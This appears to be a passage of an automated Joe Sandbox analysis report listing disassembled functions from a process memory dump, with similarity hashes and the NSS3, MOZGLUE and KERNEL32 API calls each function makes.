Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: db5765c2b06447dcfdecbe22bf828f60b861366da5616f144df7357dafa1b685
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 4421D4B1A007829BE700CF25D944B56BBE5BFA4348F19C216F81C87A62FB70E5D5C6E0

Function 6CB2EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CB17FFA,?,6CB19767,?,8B7874C0,0000A48E), ref: 6CB2EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CB17FFA,?,6CB19767,?,8B7874C0,0000A48E), ref: 6CB2EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CB17FFA,?,6CB19767,?,8B7874C0,0000A48E), ref: 6CB2EE14

Part of subcall function 6CB00BE0: malloc.MOZGLUE(6CAF8D2D,?,00000000,?), ref: 6CB00BF8
Part of subcall function 6CB00BE0: TlsGetValue.KERNEL32(6CAF8D2D,?,00000000,?), ref: 6CB00C15

memcpy.VCRUNTIME140(?,?,6CB19767,00000000,00000000,6CB17FFA,?,6CB19767,?,8B7874C0,0000A48E), ref: 6CB2EE33

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 5832781193374347ad3260508cb6f77074e975b90ffe8da7c35dca0546bb8238
Instruction ID: b948cf6a3466b75c61bcab48cec43aff567fa58f94f6ab61e1150ff3511097b5
Opcode Fuzzy Hash: 5832781193374347ad3260508cb6f77074e975b90ffe8da7c35dca0546bb8238
Instruction Fuzzy Hash: 8D11CA71A007D6ABDB50AE76DC84B5A73A8EF0435EF144531E91D96A00E335F454C7E2

Function 6CAADFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CAC06A0: TlsGetValue.KERNEL32 ref: 6CAC06C2
Part of subcall function 6CAC06A0: EnterCriticalSection.KERNEL32(?), ref: 6CAC06D6
Part of subcall function 6CAC06A0: PR_Unlock.NSS3 ref: 6CAC06EB

CERT_NewCertList.NSS3 ref: 6CAADFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CAADFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CAADFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAAE029

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 9827c6180e83ec67444ca3e2bd252afba71ff675d8d40a758b15b3d3c2fb028b
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: AD112F71A442066BDB111EEA5C44BAF7578AB4435CF080534ED58D7B00F772C97796E1

Function 6CAC8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAC8DE7
EnterCriticalSection.KERNEL32 ref: 6CAC8DFC
PR_Unlock.NSS3 ref: 6CAC8E2D
PR_SetError.NSS3 ref: 6CAC8E49

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: a3d5f59237ddac116e075fef244f5ab4066bd9a78b783a6efe11b0dee5816585
Instruction ID: 98448de2a51a0a76a6de4de08006b2035df2c29416cddc3e7dd8dee7ce5615f6
Opcode Fuzzy Hash: a3d5f59237ddac116e075fef244f5ab4066bd9a78b783a6efe11b0dee5816585
Instruction Fuzzy Hash: 00115E75609A149FDB00AF78D5886AABBF4FF05754F054969DC88D7B00EB30E894CBD2

Function 6CB4AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CB35F17,?,?,?,?,?,?,?,?,6CB3AAD4), ref: 6CB4AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CB35F17,?,?,?,?,?,?,?,?,6CB3AAD4), ref: 6CB4ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CB3AAD4), ref: 6CB4ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CB3AAD4), ref: 6CB4ACDB

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 3f308579d628177cbead8c6e730182cf620414e515dea1d10fd71525063cd6e8
Instruction ID: e2ff530ce17d2694de620d55f29d3b825f99cebb0d3413aeea363e079114f4fa
Opcode Fuzzy Hash: 3f308579d628177cbead8c6e730182cf620414e515dea1d10fd71525063cd6e8
Instruction Fuzzy Hash: FF0129B1601B419BEB60DF29E908753B7E8FB04699B108839D85AC3E15E731F468CB91

Function 6CAB1DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CAB1DFB

Part of subcall function 6CAA95B0: TlsGetValue.KERNEL32(00000000,?,6CAC00D2,00000000), ref: 6CAA95D2
Part of subcall function 6CAA95B0: EnterCriticalSection.KERNEL32(?,?,?,6CAC00D2,00000000), ref: 6CAA95E7
Part of subcall function 6CAA95B0: PR_Unlock.NSS3(?,?,?,?,6CAC00D2,00000000), ref: 6CAA9605

PR_EnterMonitor.NSS3 ref: 6CAB1E09

Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB690AB
Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB690C9
Part of subcall function 6CB69090: EnterCriticalSection.KERNEL32 ref: 6CB690E5
Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB69116
Part of subcall function 6CB69090: LeaveCriticalSection.KERNEL32 ref: 6CB6913F

Part of subcall function 6CAAE190: PR_EnterMonitor.NSS3(?,?,6CAAE175), ref: 6CAAE19C
Part of subcall function 6CAAE190: PR_EnterMonitor.NSS3(6CAAE175), ref: 6CAAE1AA
Part of subcall function 6CAAE190: PR_ExitMonitor.NSS3 ref: 6CAAE208
Part of subcall function 6CAAE190: PL_HashTableRemove.NSS3(?), ref: 6CAAE219
Part of subcall function 6CAAE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAAE231
Part of subcall function 6CAAE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAAE249
Part of subcall function 6CAAE190: PR_ExitMonitor.NSS3 ref: 6CAAE257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAB1E37
PR_ExitMonitor.NSS3 ref: 6CAB1E4A

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: f01817ae6efae2bb1830f515332c4de5753dda3c4d68e45e60cf04d4ed4da961
Instruction ID: c5caa0bee6e641c3b70bd014a0e99924a75fbead775956b76e0b2edb2c14ed05
Opcode Fuzzy Hash: f01817ae6efae2bb1830f515332c4de5753dda3c4d68e45e60cf04d4ed4da961
Instruction Fuzzy Hash: FE01D471B0015097EA004B65EC00F7677B8AB41B4CF260034F618A7B90E732E858CBD1

Function 6CAB1D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAB1D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CAB1D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CAB1D9C
free.MOZGLUE(00000000), ref: 6CAB1DB8

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 07edd9f6a3c8fca76f3ce9c8aa9861e6880769689f5d0dc4d6c73f8376e7de92
Instruction ID: 0de7fdc2eed50ff183bd3fa01ab662dfb73f1e5a5b3ed7b73081ac08f0f78989
Opcode Fuzzy Hash: 07edd9f6a3c8fca76f3ce9c8aa9861e6880769689f5d0dc4d6c73f8376e7de92
Instruction Fuzzy Hash: DCF0F9B260125057FF101E596C81B677B5CEF81B98F140635DF1D67B44D671E48482E1

Function 6CB4AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CB35D40,00000000,?,?,6CB26AC6,6CB3639C), ref: 6CB4AC2D

Part of subcall function 6CAEADC0: TlsGetValue.KERNEL32(?,6CACCDBB,?,6CACD079,00000000,00000001), ref: 6CAEAE10
Part of subcall function 6CAEADC0: EnterCriticalSection.KERNEL32(?,?,6CACCDBB,?,6CACD079,00000000,00000001), ref: 6CAEAE24
Part of subcall function 6CAEADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CACD079,00000000,00000001), ref: 6CAEAE5A
Part of subcall function 6CAEADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CACCDBB,?,6CACD079,00000000,00000001), ref: 6CAEAE6F
Part of subcall function 6CAEADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CACCDBB,?,6CACD079,00000000,00000001), ref: 6CAEAE7F
Part of subcall function 6CAEADC0: TlsGetValue.KERNEL32(?,6CACCDBB,?,6CACD079,00000000,00000001), ref: 6CAEAEB1
Part of subcall function 6CAEADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CACCDBB,?,6CACD079,00000000,00000001), ref: 6CAEAEC9

PK11_FreeSymKey.NSS3(?,6CB35D40,00000000,?,?,6CB26AC6,6CB3639C), ref: 6CB4AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CB35D40,00000000,?,?,6CB26AC6,6CB3639C), ref: 6CB4AC59
free.MOZGLUE(8CB6FF01,6CB26AC6,6CB3639C,?,?,?,?,?,?,?,?,?,6CB35D40,00000000,?,6CB3AAD4), ref: 6CB4AC62

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 90127d0fe09bf794e20b5e7838ea913365624daaf6fe3e1d9d2f3a857c31ef11
Instruction ID: d73579e2699a8ecc819ea4a95102fc0092f5e4d227ba6bc0b57d74920c769a9b
Opcode Fuzzy Hash: 90127d0fe09bf794e20b5e7838ea913365624daaf6fe3e1d9d2f3a857c31ef11
Instruction Fuzzy Hash: 7B014FB56042049FDB10DF15EDC0B567BA8EF44B58F18C068E9498F70AD731E858CFA2

Function 6CAFFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CAA9003,?), ref: 6CAFFD91

Part of subcall function 6CB00BE0: malloc.MOZGLUE(6CAF8D2D,?,00000000,?), ref: 6CB00BF8
Part of subcall function 6CB00BE0: TlsGetValue.KERNEL32(6CAF8D2D,?,00000000,?), ref: 6CB00C15

PORT_Alloc_Util.NSS3(A4686CB0,?), ref: 6CAFFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CB0,?,?), ref: 6CAFFDC4
free.MOZGLUE(00000000,?,?), ref: 6CAFFDD1

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 1805ca4637912cec3a429dce49dbd996e90665792402be551112ae46bdd636dd
Instruction ID: 033d72052d639088e065230dd47e985598b24f5f230e433b0785bda267f90b5e
Opcode Fuzzy Hash: 1805ca4637912cec3a429dce49dbd996e90665792402be551112ae46bdd636dd
Instruction Fuzzy Hash: 36F0C8B16022425BEB045F55EC8092B7B98EF5439DB148078FD298BB01E771D855C7F1

Function 6CBBCC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CBBCC61
free.MOZGLUE ref: 6CBBCC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CBBCC80
free.MOZGLUE(?), ref: 6CBBCC87

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: f52f26bc4a15a9c67a58cfe5e36c318eee968df652a7c0ae59a974cfc133a275
Instruction ID: 71af7ae7d34aeef5a7671384454c9b6388956efd9bef5788dc9ab81bcc965875
Opcode Fuzzy Hash: f52f26bc4a15a9c67a58cfe5e36c318eee968df652a7c0ae59a974cfc133a275
Instruction Fuzzy Hash: 0EE065767006089FCA10EFA8DC44C8777BCEE4D2707150525E691C3741D231F955CBE1

Function 6CA99DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CA99E1F

Part of subcall function 6CA513C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CA22352,?,00000000,?,?), ref: 6CA51413
Part of subcall function 6CA513C0: memcpy.VCRUNTIME140(00000000,6CA22352,00000002,?,?,?,?,6CA22352,?,00000000,?,?), ref: 6CA514C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6CA9A006
ESCAPE expression must be a single character, xrefs: 6CA99F78

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 4c73280eca706f0c42abfce04f26109497efc498deaad5c272e9b3c8e3d5d906
Instruction ID: c34bbb054c4612468ca2e289d5207d561aed867dac3e404651d20f70cd01a79d
Opcode Fuzzy Hash: 4c73280eca706f0c42abfce04f26109497efc498deaad5c272e9b3c8e3d5d906
Instruction Fuzzy Hash: 8481E474A143555FDB00CE39C2823AAB7F2AF45318F2C8659D8AD8BB81D736D8C6C791

Function 6CAF4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CAF4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CAF4DE6

Strings

%d.%d, xrefs: 6CAF4DDE

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 12b13b8eae910f8c715f27fdb8dcfa90e5bd7bf051e2ff2f0ba770a2a3b9759e
Instruction ID: 9fae833de851fad1a0366938dc5423a251ff5d6210b9b8c899b8a728608c5aa2
Opcode Fuzzy Hash: 12b13b8eae910f8c715f27fdb8dcfa90e5bd7bf051e2ff2f0ba770a2a3b9759e
Instruction Fuzzy Hash: 4731D6B2D042586BEB109BA19D05BFF7768EF41308F050469FD659B781EB30994ACBA2

Function 6CB3AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CB3AF78

Part of subcall function 6CA9ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA9ACE2
Part of subcall function 6CA9ACC0: malloc.MOZGLUE(00000001), ref: 6CA9ACEC
Part of subcall function 6CA9ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA9AD02
Part of subcall function 6CA9ACC0: TlsGetValue.KERNEL32 ref: 6CA9AD3C
Part of subcall function 6CA9ACC0: calloc.MOZGLUE(00000001,?), ref: 6CA9AD8C
Part of subcall function 6CA9ACC0: PR_Unlock.NSS3 ref: 6CA9ADC0
Part of subcall function 6CA9ACC0: PR_Unlock.NSS3 ref: 6CA9AE8C
Part of subcall function 6CA9ACC0: free.MOZGLUE(?), ref: 6CA9AEAB

memcpy.VCRUNTIME140(6CC03084,6CC002AC,00000090), ref: 6CB3AF94

Strings

SSL, xrefs: 6CB3AF73

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 3af72a0d5d990a96e8d94c45c32559164d7eabb2cdd6a2c41034773c2cb461f2
Instruction ID: bd0a535a22c5b4a5f638b7b708e4d31f3437767f6314a654dd2ab0d64ba27ef4
Opcode Fuzzy Hash: 3af72a0d5d990a96e8d94c45c32559164d7eabb2cdd6a2c41034773c2cb461f2
Instruction Fuzzy Hash: 38214FB2716EB89ADB00DF92A507B327A75B30270CB1A620DC50D4BB68D733404A9F95

Function 6CA90F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CA90936,FFFFE8AE,?,6CA216B7,00000000,?,6CA90936,00000000,?,6CA2204A), ref: 6CA90F1B

Part of subcall function 6CA91370: GetSystemInfo.KERNEL32(?,?,?,?,6CA90936,?,6CA90F20,6CA90936,FFFFE8AE,?,6CA216B7,00000000,?,6CA90936,00000000), ref: 6CA9138F

PR_NewLogModule.NSS3(clock,6CA90936,FFFFE8AE,?,6CA216B7,00000000,?,6CA90936,00000000,?,6CA2204A), ref: 6CA90F25

Part of subcall function 6CA91110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CA90936,00000001,00000040), ref: 6CA91130
Part of subcall function 6CA91110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA90936,00000001,00000040), ref: 6CA91142
Part of subcall function 6CA91110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA90936,00000001), ref: 6CA91167

Strings

clock, xrefs: 6CA90F20

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: d67c22a9cb5e07ff397482acb0f7f0992cd0979807c47c4822f5307cbb025100
Instruction ID: 8ad74a85ebcc07da2ecd3175ad4e27275d4d5e9fd6bb6e202394a8f9252e3434
Opcode Fuzzy Hash: d67c22a9cb5e07ff397482acb0f7f0992cd0979807c47c4822f5307cbb025100
Instruction Fuzzy Hash: 6FD0127571434465C51166979C86BB6B7FCC7C327DF11882AE20C41D104B6A50DFD269

